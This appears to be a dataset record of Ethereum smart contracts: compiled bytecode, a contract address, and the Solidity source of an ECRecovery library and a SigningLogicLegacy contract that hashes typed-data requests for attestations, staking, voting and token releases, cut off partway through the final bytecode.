0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80639eae8d451161008c578063bafbcdfd11610066578063bafbcdfd146101e5578063c56a9be5146101f8578063f2fde38b1461020b578063ffac40e01461021e57600080fd5b80639eae8d45146101ac5780639f5a91ec146101bf578063b733c0e2146101d257600080fd5b8063715018a6116100c8578063715018a61461015557806373bbb71c1461015d57806380959721146101705780638da5cb5b1461019b57600080fd5b80630a03147d146100ef5780634806f4f114610104578063635e481b14610142575b600080fd5b6101026100fd366004610d21565b610227565b005b61012f610112366004610ca3565b805160208183018101805160038252928201919093012091525481565b6040519081526020015b60405180910390f35b610102610150366004610cde565b6102d3565b6101026103ce565b61010261016b366004610ba9565b610404565b600154610183906001600160a01b031681565b6040516001600160a01b039091168152602001610139565b6000546001600160a01b0316610183565b6101026101ba366004610cde565b6104ed565b6101026101cd366004610d21565b6105d6565b6101026101e0366004610cde565b610637565b6101026101f3366004610d21565b61071c565b610102610206366004610bd0565b610793565b610102610219366004610ba9565b6109c5565b61012f60025481565b6001546001600160a01b0316331461025a5760405162461bcd60e51b815260040161025190610d97565b60405180910390fd5b6000811161029f5760405162461bcd60e51b8152602060048201526012602482015271076616c75652073686f756c64206265203e360741b6044820152606401610251565b60028054908290556040805182815260208101849052600080516020610f0c83398151915291015b60405180910390a15050565b6001546001600160a01b031633146102fd5760405162461bcd60e51b815260040161025190610d97565b600060038360405161030f9190610d39565b9081526020016040518091039020549050808211610356576103318183610a60565b6003846040516103419190610d39565b9081526040519081900360200190205561037c565b60006003846040516103689190610d39565b908152604051908190036020019020559050805b600080516020610eec833981519152838260038660405161039d9190610d39565b908152604051908190036020018120546103b8939291610d55565b60405180910390a16103c98261071c565b505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b815260040161025190610dbb565b6104026000610a73565b565b6000546001600160a01b0316331461042e5760405162461bcd60e51b815260040161025190610dbb565b6001600160a01b0381166104845760405162461bcd60e51b815260206004820152601760248201527f616464726573732073686f756c64206e6f7420626520300000000000000000006044820152606401610251565b600154604080516001600160a01b03928316815291831660208301527f32487a31d5a41d672510a2a1aa50e214e52d5d25fd9a9e94dfa66f4349f8840f910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031633146105175760405162461bcd60e51b815260040161025190610d97565b60006003836040516105299190610d39565b90815260200160405180910390205490506105648260038560405161054e9190610d39565b9081526040519081900360200190205490610ac3565b6003846040516105749190610d39565b9081526040519081900360200190205561058d826105d6565b600080516020610eec83398151915283826003866040516105ae9190610d39565b908152604051908190036020018120546105c9939291610d55565b60405180910390a1505050565b6001546001600160a01b031633146106005760405162461bcd60e51b815260040161025190610d97565b60025461060d8183610ac3565b6002819055604080518381526020810192909252600080516020610f0c83398151915291016102c7565b6001546001600160a01b031633146106615760405162461bcd60e51b815260040161025190610d97565b60006003836040516106739190610d39565b90815260200160405180910390205490506106a38261069d83600254610a6090919063ffffffff16565b90610ac3565b60025560405182906003906106b9908690610d39565b908152602001604051809103902081905550600080516020610eec8339815191528382846040516106ec93929190610d55565b60405180910390a1600254604080518381526020810192909252600080516020610f0c83398151915291016105c9565b6001546001600160a01b031633146107465760405162461bcd60e51b815260040161025190610d97565b6002548082116107655760025461075d9083610a60565b60025561076b565b60006002555b600254604080518381526020810192909252600080516020610f0c83398151915291016102c7565b6001546001600160a01b031633146107bd5760405162461bcd60e51b815260040161025190610d97565b80518251146108075760405162461bcd60e51b8152602060048201526016602482015275185c9c985e481b195b99dd1a081b9bdd08195c5d585b60521b6044820152606401610251565b60005b82518110156103c9576000600384838151811061083757634e487b7160e01b600052603260045260246000fd5b602002602001015160405161084c9190610d39565b908152602001604051809103902054905061089d83838151811061088057634e487b7160e01b600052603260045260246000fd5b602002602001015161069d83600254610a6090919063ffffffff16565b6002819055604080518381526020810192909252600080516020610f0c833981519152910160405180910390a18282815181106108ea57634e487b7160e01b600052603260045260246000fd5b6020026020010151600385848151811061091457634e487b7160e01b600052603260045260246000fd5b60200260200101516040516109299190610d39565b908152602001604051809103902081905550600080516020610eec83398151915284838151811061096a57634e487b7160e01b600052603260045260246000fd5b60200260200101518285858151811061099357634e487b7160e01b600052603260045260246000fd5b60200260200101516040516109aa93929190610d55565b60405180910390a150806109bd81610ea4565b91505061080a565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161025190610dbb565b6001600160a01b038116610a545760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610251565b610a5d81610a73565b50565b6000610a6c8284610e5d565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610a6c8284610e45565b600082601f830112610adf578081fd5b81356020610af4610aef83610e21565b610df0565b80838252828201915082860187848660051b8901011115610b13578586fd5b855b85811015610b3157813584529284019290840190600101610b15565b5090979650505050505050565b600082601f830112610b4e578081fd5b813567ffffffffffffffff811115610b6857610b68610ed5565b610b7b601f8201601f1916602001610df0565b818152846020838601011115610b8f578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215610bba578081fd5b81356001600160a01b0381168114610a6c578182fd5b60008060408385031215610be2578081fd5b823567ffffffffffffffff80821115610bf9578283fd5b818501915085601f830112610c0c578283fd5b81356020610c1c610aef83610e21565b8083825282820191508286018a848660051b8901011115610c3b578788fd5b875b85811015610c7457813587811115610c5357898afd5b610c618d87838c0101610b3e565b8552509284019290840190600101610c3d565b50909750505086013592505080821115610c8c578283fd5b50610c9985828601610acf565b9150509250929050565b600060208284031215610cb4578081fd5b813567ffffffffffffffff811115610cca578182fd5b610cd684828501610b3e565b949350505050565b60008060408385031215610cf0578182fd5b823567ffffffffffffffff811115610d06578283fd5b610d1285828601610b3e565b95602094909401359450505050565b600060208284031215610d32578081fd5b5035919050565b60008251610d4b818460208701610e74565b9190910192915050565b6060815260008451806060840152610d74816080850160208901610e74565b60208301949094525060408101919091526080601f909201601f19160101919050565b6020808252600a90820152693737ba103837b9ba32b960b11b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff81118282101715610e1957610e19610ed5565b604052919050565b600067ffffffffffffffff821115610e3b57610e3b610ed5565b5060051b60200190565b60008219821115610e5857610e58610ebf565b500190565b600082821015610e6f57610e6f610ebf565b500390565b60005b83811015610e8f578181015183820152602001610e77565b83811115610e9e576000848401525b50505050565b6000600019821415610eb857610eb8610ebf565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfe6c8cdca3c9f4b8f26e4b060e1da71e857e26e4a4877f3b0ea76f694760f86ba81bf34118d60272dd7120a9f122e3932708c4ddafe8821167db92880480542319a26469706673582212205aafeb36227dd046cc2563e6b0b74972c8c02db4a14b09bc87de704a2613752364736f6c63430008040033
{"success": true, "error": null, "results": {}}
6,820
0x00677Ec3E34d9eb794f2eBA943f43BF0639cCE5D
pragma solidity 0.4.24; /** * @dev Pulled from OpenZeppelin: https://git.io/vbaRf * When this is in a public release we will switch to not vendoring this file * * @title Eliptic curve signature operations * * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d */ library ECRecovery { /** * @dev Recover signer address from a message by using his signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) public pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Extracting these values isn&#39;t possible without assembly // solhint-disable no-inline-assembly // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } } contract SigningLogicInterface { function recoverSigner(bytes32 _hash, bytes _sig) external pure returns (address); function generateRequestAttestationSchemaHash( address _subject, address _attester, address _requester, bytes32 _dataHash, uint256[] _typeIds, bytes32 _nonce ) external view returns (bytes32); function generateAttestForDelegationSchemaHash( address _subject, address _requester, uint256 _reward, bytes32 _paymentNonce, bytes32 _dataHash, uint256[] _typeIds, bytes32 _requestNonce ) external view returns (bytes32); function generateContestForDelegationSchemaHash( address _requester, uint256 _reward, bytes32 _paymentNonce ) external view returns (bytes32); function generateStakeForDelegationSchemaHash( address _subject, uint256 _value, bytes32 _paymentNonce, bytes32 _dataHash, uint256[] _typeIds, bytes32 _requestNonce, uint256 _stakeDuration ) external view returns (bytes32); function generateRevokeStakeForDelegationSchemaHash( uint256 _subjectId, uint256 _attestationId ) external view returns (bytes32); function generateAddAddressSchemaHash( address _senderAddress, bytes32 _nonce ) external view returns (bytes32); function generateVoteForDelegationSchemaHash( uint16 _choice, address _voter, bytes32 _nonce, address _poll ) external view returns (bytes32); function generateReleaseTokensSchemaHash( address _sender, address _receiver, uint256 _amount, bytes32 _uuid ) external view returns (bytes32); function generateLockupTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) external view returns (bytes32); } /** * @title SigningLogic is an upgradeable contract implementing signature recovery from typed data signatures * @notice Recovers signatures based on the SignTypedData implementation provided by Metamask * @dev This contract is deployed separately and is referenced by other contracts. * The other contracts have functions that allow this contract to be swapped out * They will continue to work as long as this contract implements at least the functions in SigningLogicInterface */ contract SigningLogicLegacy is SigningLogicInterface{ bytes32 constant ATTESTATION_REQUEST_TYPEHASH = keccak256( abi.encodePacked( "address subject", "address attester", "address requester", "bytes32 dataHash", "bytes32 typeHash", "bytes32 nonce" ) ); bytes32 constant ADD_ADDRESS_TYPEHASH = keccak256( abi.encodePacked( "address sender", "bytes32 nonce" ) ); bytes32 constant RELEASE_TOKENS_TYPEHASH = keccak256( abi.encodePacked( "string action", "address sender", "address receiver", "uint256 amount", "bytes32 nonce" ) ); bytes32 constant ATTEST_FOR_TYPEHASH = keccak256( abi.encodePacked( "string action", "address subject", "address requester", "uint256 reward", "bytes32 paymentNonce", "bytes32 dataHash", "bytes32 typeHash", "bytes32 requestNonce" ) ); bytes32 constant CONTEST_FOR_TYPEHASH = keccak256( abi.encodePacked( "string action", "address requester", "uint256 reward", "bytes32 paymentNonce" ) ); bytes32 constant STAKE_FOR_TYPEHASH = keccak256( abi.encodePacked( "string action", "address subject", "uint256 value", "bytes32 paymentNonce", "bytes32 dataHash", "bytes32 typeHash", "bytes32 requestNonce", "uint256 stakeDuration" ) ); bytes32 constant REVOKE_STAKE_FOR_TYPEHASH = keccak256( abi.encodePacked( "string action", "uint256 subjectId", "uint256 attestationId" ) ); bytes32 constant VOTE_FOR_TYPEHASH = keccak256( abi.encodePacked( "uint16 choice", "address voter", "bytes32 nonce", "address poll" ) ); bytes32 constant LOCKUP_TOKENS_FOR = keccak256( abi.encodePacked( "string action", "address sender", "uint256 amount", "bytes32 nonce" ) ); struct AttestationRequest { address subject; address attester; address requester; bytes32 dataHash; bytes32 typeHash; bytes32 nonce; } function hash(AttestationRequest request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( ATTESTATION_REQUEST_TYPEHASH, keccak256( abi.encodePacked( request.subject, request.attester, request.requester, request.dataHash, request.typeHash, request.nonce ) ) )); } struct AddAddress { address sender; bytes32 nonce; } function hash(AddAddress request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( ADD_ADDRESS_TYPEHASH, keccak256( abi.encodePacked( request.sender, request.nonce ) ) )); } struct ReleaseTokens { address sender; address receiver; uint256 amount; bytes32 nonce; } function hash(ReleaseTokens request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( RELEASE_TOKENS_TYPEHASH, keccak256( abi.encodePacked( "pay", request.sender, request.receiver, request.amount, request.nonce ) ) )); } struct AttestFor { address subject; address requester; uint256 reward; bytes32 paymentNonce; bytes32 dataHash; bytes32 typeHash; bytes32 requestNonce; } function hash(AttestFor request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( ATTEST_FOR_TYPEHASH, keccak256( abi.encodePacked( "attest", request.subject, request.requester, request.reward, request.paymentNonce, request.dataHash, request.typeHash, request.requestNonce ) ) )); } struct ContestFor { address requester; uint256 reward; bytes32 paymentNonce; } function hash(ContestFor request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( CONTEST_FOR_TYPEHASH, keccak256( abi.encodePacked( "contest", request.requester, request.reward, request.paymentNonce ) ) )); } struct StakeFor { address subject; uint256 value; bytes32 paymentNonce; bytes32 dataHash; bytes32 typeHash; bytes32 requestNonce; uint256 stakeDuration; } function hash(StakeFor request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( STAKE_FOR_TYPEHASH, keccak256( abi.encodePacked( "stake", request.subject, request.value, request.paymentNonce, request.dataHash, request.typeHash, request.requestNonce, request.stakeDuration ) ) )); } struct RevokeStakeFor { uint256 subjectId; uint256 attestationId; } function hash(RevokeStakeFor request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( REVOKE_STAKE_FOR_TYPEHASH, keccak256( abi.encodePacked( "revokeStake", request.subjectId, request.attestationId ) ) )); } struct VoteFor { uint16 choice; address voter; bytes32 nonce; address poll; } function hash(VoteFor request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( VOTE_FOR_TYPEHASH, keccak256( abi.encodePacked( request.choice, request.voter, request.nonce, request.poll ) ) )); } struct LockupTokensFor { address sender; uint256 amount; bytes32 nonce; } function hash(LockupTokensFor request) internal pure returns (bytes32) { return keccak256( abi.encodePacked( LOCKUP_TOKENS_FOR, keccak256( abi.encodePacked( "lockup", request.sender, request.amount, request.nonce ) ) )); } function generateRequestAttestationSchemaHash( address _subject, address _attester, address _requester, bytes32 _dataHash, uint256[] _typeIds, bytes32 _nonce ) external view returns (bytes32) { return hash( AttestationRequest( _subject, _attester, _requester, _dataHash, keccak256(abi.encodePacked(_typeIds)), _nonce ) ); } function generateAddAddressSchemaHash( address _senderAddress, bytes32 _nonce ) external view returns (bytes32) { return hash( AddAddress( _senderAddress, _nonce ) ); } function generateReleaseTokensSchemaHash( address _sender, address _receiver, uint256 _amount, bytes32 _nonce ) external view returns (bytes32) { return hash( ReleaseTokens( _sender, _receiver, _amount, _nonce ) ); } function generateAttestForDelegationSchemaHash( address _subject, address _requester, uint256 _reward, bytes32 _paymentNonce, bytes32 _dataHash, uint256[] _typeIds, bytes32 _requestNonce ) external view returns (bytes32) { return hash( AttestFor( _subject, _requester, _reward, _paymentNonce, _dataHash, keccak256(abi.encodePacked(_typeIds)), _requestNonce ) ); } function generateContestForDelegationSchemaHash( address _requester, uint256 _reward, bytes32 _paymentNonce ) external view returns (bytes32) { return hash( ContestFor( _requester, _reward, _paymentNonce ) ); } function generateStakeForDelegationSchemaHash( address _subject, uint256 _value, bytes32 _paymentNonce, bytes32 _dataHash, uint256[] _typeIds, bytes32 _requestNonce, uint256 _stakeDuration ) external view returns (bytes32) { return hash( StakeFor( _subject, _value, _paymentNonce, _dataHash, keccak256(abi.encodePacked(_typeIds)), _requestNonce, _stakeDuration ) ); } function generateRevokeStakeForDelegationSchemaHash( uint256 _subjectId, uint256 _attestationId ) external view returns (bytes32) { return hash( RevokeStakeFor( _subjectId, _attestationId ) ); } function generateVoteForDelegationSchemaHash( uint16 _choice, address _voter, bytes32 _nonce, address _poll ) external view returns (bytes32) { return hash( VoteFor( _choice, _voter, _nonce, _poll ) ); } function generateLockupTokensDelegationSchemaHash( address _sender, uint256 _amount, bytes32 _nonce ) external view returns (bytes32) { return hash( LockupTokensFor( _sender, _amount, _nonce ) ); } function recoverSigner(bytes32 _hash, bytes _sig) external pure returns (address) { address signer = ECRecovery.recover(_hash, _sig); require(signer != address(0)); return signer; } }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806323f809f6146100a9578063520bbba31461011657806358469cd1146101e95780639662355e1461029e57806397aba7f914610369578063bab6f9bf146103f2578063c83126ed14610445578063cea81ab1146104e0578063dbbdad8c14610557578063e7cc8ded146105ee575b600080fd5b3480156100b557600080fd5b506100f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610665565b60405180826000191660001916815260200191505060405180910390f35b34801561012257600080fd5b506101cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919080359060200190820180359060200191909192939192939080356000191690602001909291905050506106a6565b60405180826000191660001916815260200191505060405180910390f35b3480156101f557600080fd5b50610280600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803560001916906020019092919080356000191690602001909291908035906020019082018035906020019190919293919293908035600019169060200190929190803590602001909291905050506107c4565b60405180826000191660001916815260200191505060405180910390f35b3480156102aa57600080fd5b5061034b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190803560001916906020019092919080359060200190820180359060200191909192939192939080356000191690602001909291905050506108c1565b60405180826000191660001916815260200191505060405180910390f35b34801561037557600080fd5b506103b060048036038101908080356000191690602001909291908035906020019082018035906020019190919293919293905050506109d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103fe57600080fd5b506104276004803603810190808035906020019092919080359060200190929190505050610af0565b60405180826000191660001916815260200191505060405180910390f35b34801561045157600080fd5b506104c2600480360381019080803561ffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b17565b60405180826000191660001916815260200191505060405180910390f35b3480156104ec57600080fd5b50610539600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190505050610b81565b60405180826000191660001916815260200191505060405180910390f35b34801561056357600080fd5b506105d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190505050610bca565b60405180826000191660001916815260200191505060405180910390f35b3480156105fa57600080fd5b50610647600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190505050610c30565b60405180826000191660001916815260200191505060405180910390f35b600061069e60408051908101604052808573ffffffffffffffffffffffffffffffffffffffff1681526020018460001916815250610c79565b905092915050565b60006107b760c0604051908101604052808a73ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff168152602001876000191681526020018686604051602001808383602002808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b602083101515610774578051825260208201915060208101905060208303925061074f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191681526020018460001916815250610eb9565b9050979650505050505050565b60006108b360e0604051908101604052808b73ffffffffffffffffffffffffffffffffffffffff1681526020018a815260200189600019168152602001886000191681526020018787604051602001808383602002808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b60208310151561086a5780518252602082019150602081019050602083039250610845565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019168152602001856000191681526020018481525061124f565b905098975050505050505050565b60006109c660e0604051908101604052808b73ffffffffffffffffffffffffffffffffffffffff1681526020018a73ffffffffffffffffffffffffffffffffffffffff16815260200189815260200188600019168152602001876000191681526020018686604051602001808383602002808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b602083101515610983578051825260208201915060208101905060208303925061095e565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916815260200184600019168152506115fb565b905098975050505050505050565b60008073ed6671c01f0b60ed39900e671aeb70aca008fbac6319045a258686866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808460001916600019168152602001806020018281038252848482818152602001925080828437820191505094505050505060206040518083038186803b158015610a6c57600080fd5b505af4158015610a80573d6000803e3d6000fd5b505050506040513d6020811015610a9657600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ae557600080fd5b809150509392505050565b6000610b0f6040805190810160405280858152602001848152506119e2565b905092915050565b6000610b776080604051908101604052808761ffff1681526020018673ffffffffffffffffffffffffffffffffffffffff168152602001856000191681526020018473ffffffffffffffffffffffffffffffffffffffff16815250611c2f565b9050949350505050565b6000610bc16060604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018460001916815250611f3b565b90509392505050565b6000610c266080604051908101604052808773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184600019168152506121ff565b9050949350505050565b6000610c706060604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018460001916815250612532565b90509392505050565b600060405160200180807f616464726573732073656e646572000000000000000000000000000000000000815250600e01807f62797465733332206e6f6e636500000000000000000000000000000000000000815250600d0190506040516020818303038152906040526040518082805190602001908083835b602083101515610d185780518252602082019150602081019050602083039250610cf3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902082600001518360200151604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515610ded5780518252602082019150602081019050602083039250610dc8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515610e855780518252602082019150602081019050602083039250610e60565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f61646472657373207375626a6563740000000000000000000000000000000000815250600f01807f6164647265737320617474657374657200000000000000000000000000000000815250601001807f6164647265737320726571756573746572000000000000000000000000000000815250601101807f6279746573333220646174614861736800000000000000000000000000000000815250601001807f6279746573333220747970654861736800000000000000000000000000000000815250601001807f62797465733332206e6f6e636500000000000000000000000000000000000000815250600d0190506040516020818303038152906040526040518082805190602001908083835b602083101515610ff85780518252602082019150602081019050602083039250610fd3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020826000015183602001518460400151856060015186608001518760a00151604051602001808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140184600019166000191681526020018360001916600019168152602001826000191660001916815260200196505050505050506040516020818303038152906040526040518082805190602001908083835b602083101515611183578051825260208201915060208101905060208303925061115e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b60208310151561121b57805182526020820191506020810190506020830392506111f6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f737472696e6720616374696f6e00000000000000000000000000000000000000815250600d01807f61646472657373207375626a6563740000000000000000000000000000000000815250600f01807f75696e743235362076616c756500000000000000000000000000000000000000815250600d01807f62797465733332207061796d656e744e6f6e6365000000000000000000000000815250601401807f6279746573333220646174614861736800000000000000000000000000000000815250601001807f6279746573333220747970654861736800000000000000000000000000000000815250601001807f6279746573333220726571756573744e6f6e6365000000000000000000000000815250601401807f75696e74323536207374616b654475726174696f6e000000000000000000000081525060150190506040516020818303038152906040526040518082805190602001908083835b6020831015156113de57805182526020820191506020810190506020830392506113b9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020826000015183602001518460400151856060015186608001518760a001518860c0015160405160200180807f7374616b650000000000000000000000000000000000000000000000000000008152506005018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140187815260200186600019166000191681526020018560001916600019168152602001846000191660001916815260200183600019166000191681526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b60208310151561152f578051825260208201915060208101905060208303925061150a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156115c757805182526020820191506020810190506020830392506115a2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f737472696e6720616374696f6e00000000000000000000000000000000000000815250600d01807f61646472657373207375626a6563740000000000000000000000000000000000815250600f01807f6164647265737320726571756573746572000000000000000000000000000000815250601101807f75696e7432353620726577617264000000000000000000000000000000000000815250600e01807f62797465733332207061796d656e744e6f6e6365000000000000000000000000815250601401807f6279746573333220646174614861736800000000000000000000000000000000815250601001807f6279746573333220747970654861736800000000000000000000000000000000815250601001807f6279746573333220726571756573744e6f6e636500000000000000000000000081525060140190506040516020818303038152906040526040518082805190602001908083835b60208310151561178a5780518252602082019150602081019050602083039250611765565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020826000015183602001518460400151856060015186608001518760a001518860c0015160405160200180807f61747465737400000000000000000000000000000000000000000000000000008152506006018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140186815260200185600019166000191681526020018460001916600019168152602001836000191660001916815260200182600019166000191681526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b60208310151561191657805182526020820191506020810190506020830392506118f1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156119ae5780518252602082019150602081019050602083039250611989565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f737472696e6720616374696f6e00000000000000000000000000000000000000815250600d01807f75696e74323536207375626a6563744964000000000000000000000000000000815250601101807f75696e74323536206174746573746174696f6e4964000000000000000000000081525060150190506040516020818303038152906040526040518082805190602001908083835b602083101515611aa95780518252602082019150602081019050602083039250611a84565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208260000151836020015160405160200180807f7265766f6b655374616b65000000000000000000000000000000000000000000815250600b01838152602001828152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515611b635780518252602082019150602081019050602083039250611b3e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515611bfb5780518252602082019150602081019050602083039250611bd6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f75696e7431362063686f69636500000000000000000000000000000000000000815250600d01807f6164647265737320766f74657200000000000000000000000000000000000000815250600d01807f62797465733332206e6f6e636500000000000000000000000000000000000000815250600d01807f6164647265737320706f6c6c0000000000000000000000000000000000000000815250600c0190506040516020818303038152906040526040518082805190602001908083835b602083101515611d1e5780518252602082019150602081019050602083039250611cf9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208260000151836020015184604001518560600151604051602001808561ffff1661ffff167e010000000000000000000000000000000000000000000000000000000000000281526002018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140183600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019450505050506040516020818303038152906040526040518082805190602001908083835b602083101515611e6f5780518252602082019150602081019050602083039250611e4a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515611f075780518252602082019150602081019050602083039250611ee2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f737472696e6720616374696f6e00000000000000000000000000000000000000815250600d01807f6164647265737320726571756573746572000000000000000000000000000000815250601101807f75696e7432353620726577617264000000000000000000000000000000000000815250600e01807f62797465733332207061796d656e744e6f6e636500000000000000000000000081525060140190506040516020818303038152906040526040518082805190602001908083835b60208310151561202a5780518252602082019150602081019050602083039250612005565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902082600001518360200151846040015160405160200180807f636f6e74657374000000000000000000000000000000000000000000000000008152506007018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401838152602001826000191660001916815260200193505050506040516020818303038152906040526040518082805190602001908083835b602083101515612133578051825260208201915060208101905060208303925061210e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156121cb57805182526020820191506020810190506020830392506121a6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f737472696e6720616374696f6e00000000000000000000000000000000000000815250600d01807f616464726573732073656e646572000000000000000000000000000000000000815250600e01807f6164647265737320726563656976657200000000000000000000000000000000815250601001807f75696e7432353620616d6f756e74000000000000000000000000000000000000815250600e01807f62797465733332206e6f6e636500000000000000000000000000000000000000815250600d0190506040516020818303038152906040526040518082805190602001908083835b60208310151561231657805182526020820191506020810190506020830392506122f1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020826000015183602001518460400151856060015160405160200180807f70617900000000000000000000000000000000000000000000000000000000008152506